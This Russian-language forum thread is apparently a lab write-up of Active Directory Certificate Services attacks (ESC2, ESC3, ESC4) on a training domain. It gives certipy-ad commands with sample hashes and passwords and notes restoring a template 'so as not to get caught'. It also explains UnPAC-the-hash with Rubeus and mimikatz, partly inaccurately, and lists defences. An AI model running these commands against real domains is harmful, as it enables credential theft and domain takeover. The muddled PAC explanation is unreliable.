Она становится возможной благодаря неправильной конфигурации или слишком широким разрешениям шаблона сертификата в инфраструктуре корпоративного сертификационного центра (CA). Обычно, такая настройка является следствием ошибок в администрировании или недостаточного контроля политики выпуска сертификатов.

Если шаблон позволяет автоматическое одобрение или одобряется вручную без строгой проверки, атакующий получает действующий сертификат для указанных данных.
👍3
А почему был выбран metasploit?
Ответanonimus

А почему был выбран metasploit?

Потому что там был нужный модуль для брута. 

https://github.com/RajChowdhury240/Jenkins-PenTest я искал по гиту и нашел. Кто-то написал что можно заюзать msf
Рассмотрим компрометацию домена с помощью шаблона ESC2

Не удалось прогрузить медиа


I_KRASNOV --> NT хэшик CLIENT01.CERTCOMP.LOCAL --> запросить серт этого достаточно чтобы скомпрометировать домен.

Не удалось прогрузить медиа


80e4648ae9a7bdd5801e96f7126af732 - а вот и хэшик машинной учетной записи CLIENT01.CERTCOMP.LOCAL$

Получаем серт на [email protected]

certipy-ad req -u '[email protected]' -hashes :80e4648ae9a7bdd5801e96f7126af732 -dc-ip 10.6.0.5 -ca CERTCOMP-CA -target CS.CertComp.local -template Templ-ESC2 -upn [email protected] -debug

Забираем NT хэшик

certipy-ad auth -pfx dc.pfx -dc-ip 10.6.0.5

[ATTACH type="full"]622[/ATTACH]

Давайте просто убедимся, что мы извлекаем валидные хэши.

Не удалось прогрузить медиа


В лабе нам предоставили учетку e_pavlov. Пароль на скриншоте. Запросим серт для e_pavlov

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Извлечем NT хэшик. 2e2bc16bf63963d24ab6636f460c2cd3

Сгенерируем для пароля P@vl0V333 NT хэШ


Не удалось прогрузить медиа


Как видим он такой же-)))
Не удалось прогрузить медиа



Чтобы запросить сертификат от имени машины CLIENT01, важно выполнить запрос в контексте машины (Machine Context), а не пользователя I_KRASNOV.

Шаблон задаёт, какие поля сертификата можно изменять (например, Subject Alternative Name (SAN), Common Name (CN), или UPN).

Уязвимые настройки, такие как EDITF_ATTRIBUTESUBJECTALTNAME2, позволяют злоумышленнику подменить значения SAN.

Шаблон определяет, кто может запрашивать сертификаты (например, группа Authenticated Users, Domain Computers, или конкретные пользователи).
👍2
Не удалось прогрузить медиа


Рассмотрим компрометацию домена с помощью шаблона ESC3

certipy-ad req -u [email protected] -p 'Ired1993' -ca CERTCOMP-CA -target CS.CertComp.local -template Templ-ESC3-CRA

Не удалось прогрузить медиа

certipy-ad req -u [email protected] -p 'Ired1993' -ca CERTCOMP-CA -target CS.CertComp.local -template Templ-ESC3 -on-behalf-of 'CERTCOMP\domain_admin' -pfx i_krasnov.pfx

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Если шаблон (например, Templ-ESC3-CRA) имеет включённый CRA, любой пользователь, обладающий правами Enroll для этого шаблона, становится CRA.

CRA (Certificate Request Agent) — это особая роль или возможность в инфраструктуре Microsoft Active Directory Certificate Services (AD CS), которая позволяет пользователю или системе запрашивать сертификаты от имени других пользователей или устройств. Это реализовано с помощью расширения Certificate Request Agent (CRA) в шаблонах сертификатов.

Когда [email protected] стал выполнять роль Certificate Request Agent (CRA), это означает, что он теперь может запрашивать сертификаты от имени других учетных записей или систем. Это произошло благодаря тому, что он получил доступ к шаблону сертификата, настроенному для поддержки CRA, например, Templ-ESC3-CRA, с соответствующими правами.
👍4
Не удалось прогрузить медиа


ESC4 это самая понятная техника из предыдущих)


У нас права "Generic ALL". У нас - это у пользователей домена, Это означает, что любой доменный пользователь может редактировать шаблон. Мы можем редактировать EKU, отключать одобрение диспетчером, отключать требования подписей CSR. Проще говоря мы владеем объектом "[email protected]". Если шаблон был узконаправленным, мы можем его настроить так, что любой доменный пользователь может запрашивать его для аутентификации от имени любых других доменных пользователей.
certipy-ad template -u [email protected] -p 'Ired1993' -target DC.CertComp.local -template Templ-ESC4 -k -save-old

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Настройки шаблона мы сохранили, т.к их нужно вернуть обратно, чтобы не спалиться. 

Мы настроили шаблон в своих интересах и можем проводить атаки, например ESC1
👍4
Когда в домене включен PKINIT (Kerberos Pre-authentication с использованием сертификатов), злоумышленник, обладающий сертификатом пользователя, может запросить TGT (Ticket Granting Ticket) от KDC. Хотя поле PAC в TGT действительно зашифровано ключом krbtgt (и напрямую NTLM-хэш пользователя оттуда не извлечь), есть способ обойти это ограничение и всё же получить NTLM-хэш. Давайте разберем, как это работает.

Ключевые моменты атаки UnPAC The Hash с использованием PKINIT​

  1. Сертификат пользователя:
    • Сертификат (например, полученный через уязвимый шаблон или компрометацию) используется для аутентификации через PKINIT.
    • PKINIT позволяет использовать публично-частные ключи (сертификаты) для прохождения Kerberos Pre-authentication вместо пароля или NTLM-хэша.
  2. Получение TGT (Kerberos Pre-auth):
    • Злоумышленник аутентифицируется с помощью сертификата и запрашивает TGT у KDC.
    • Полученный TGT содержит:
      • Поле PAC (Privileged Attribute Certificate).
      • Поле PAC зашифровано ключом krbtgt, поэтому NTLM-хэш напрямую недоступен.
  3. Проблема извлечения NTLM-хэша из PAC:
    • NTLM-хэш пользователя хранится в PAC в зашифрованном виде.
    • Для расшифровки требуется ключ krbtgt, который обычно недоступен злоумышленнику.
  4. Решение: Запрос TGS для службы (например, CIFS или LDAP):
    • Вместо попытки расшифровать PAC злоумышленник использует TGT для запроса TGS (Service Ticket) для определённой службы.
    • NTLM-хэш пользователя будет включён в PAC, прикрепленный к TGS.
    • Однако для доступа к этому хэшу не потребуется расшифровывать ключ krbtgt.

Процесс извлечения NTLM-хэша с использованием PKINIT​

1. Получение сертификата​

  • Сертификат можно получить, используя:
    • Компрометацию уязвимого шаблона сертификата (например, с помощью Certify или Certipy).
    • Легитимный доступ к учётной записи пользователя.

2. Запрос TGT с использованием сертификата​

Используйте инструмент Rubeus или Certipy, чтобы аутентифицироваться с помощью сертификата и запросить TGT через PKINIT.

Rubeus:​

bash
Копировать код
rubeus asktgt /user:username /certificate:cert.pfx /domain:domain.local /ptt

  • /certificate: Указывает на файл сертификата (.pfx), который используется для PKINIT.
  • /ptt: Передаёт билет (TGT) в текущую сессию.

Certipy:​

bash
Копировать код
certipy auth -pfx cert.pfx -dc-ip 10.6.0.5

  • auth: Используется для аутентификации через сертификат (PKINIT).
  • -pfx: Указывает путь к сертификату.
После выполнения команды вы получите TGT, переданный в текущую сессию.

3. Запрос TGS для сервиса​

С помощью TGT запросите TGS для любого сервиса (например, CIFS, LDAP или RPC).

Rubeus:​

bash
Копировать код
rubeus asktgs /ticket:<base64_tgt> /service:cifs/dc.domain.local /nowrap

  • /service: Указывает SPN (Service Principal Name) целевой службы, например, cifs для файлового сервиса или ldap для службы каталогов.
  • /nowrap: Убирает обёртку вывода, чтобы результат был чистым.

Certipy:​

bash
Копировать код
certipy tgtdeleg -pfx cert.pfx -dc-ip 10.6.0.5

4. Извлечение NTLM-хэша​

  • NTLM-хэш пользователя будет включён в PAC, прикрепленный к TGS.
  • PAC в TGS зашифрован на ключе целевого сервиса (например, ключе CIFS или LDAP), а не на ключе krbtgt, что позволяет извлечь хэш.
С помощью инструментов, таких как mimikatz или Rubeus, можно извлечь хэш из предоставленного билета.

Пример с mimikatz:​

bash
Копировать код
mimikatz # kerberos::extract /target:cifs/dc.domain.local

Почему это возможно?​

  1. Зависимость Kerberos от PKINIT:
    • Kerberos полностью доверяет сертификатам, подписанным доверенным CA, что позволяет использовать скомпрометированные сертификаты для аутентификации.
  2. PAC защищён только ключом целевой службы:
    • После получения TGS, PAC защищён ключом целевой службы (например, CIFS, LDAP), а не ключом krbtgt, что позволяет обойти ограничение на расшифровку PAC.
  3. Отсутствие проверки на стороне KDC:
    • KDC не проверяет, соответствует ли сертификат реальной личности пользователя, если UPN в сертификате совпадает с UPN целевой учетной записи.

Меры защиты​

  1. Ограничьте доступ к уязвимым шаблонам сертификатов:
    • Убедитесь, что шаблоны сертификатов недоступны для всех пользователей домена.
    • Уберите флаги ENROLLEE_SUPPLIES_SUBJECT и SUBJECT_ALT_REQUIRE_UPN.
  2. Ограничьте использование PKINIT:
    • Если PKINIT используется, настройте строгую проверку сертификатов и их UPN.
  3. Мониторьте аутентификацию Kerberos:
    • Настройте аудит событий Kerberos на контроллерах домена для обнаружения аномальной активности, такой как частые запросы TGT или TGS.
  4. Обновляйте ключи сервисов:
    • Регулярно обновляйте ключи целевых сервисов, таких как CIFS, чтобы минимизировать риск компрометации.

Итог​

Атака UnPAC The Hash с использованием PKINIT позволяет извлечь NTLM-хэш пользователя, если у злоумышленника есть сертификат. Это возможно благодаря тому, что TGS защищается ключом целевого сервиса, а не KDC. Защита от этой атаки требует правильной настройки PKINIT, управления шаблонами сертификатов и мониторинга Kerberos-трафика. Если у вас есть дополнительные вопросы или требуется помощь в реализации защиты, напишите!



Если PKINIT выключен в домене, то можно использовать атаку https://github.com/AlmondOffSec/PassTheCert/

или certipy auth -pfx cert.pfx [B]-ldap-shell [/B]-username e_pavlov -domain certcomp.local -dc-ip 10.6.0.5
Спасибо, учусь по твоим гайдам как в школе! Разжевал как для детей :partying_face:
не там ещё у кодебая лаба есть после атак на ADCS, идёт предпоследняя тема Доверительные отношения между доменами!)
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.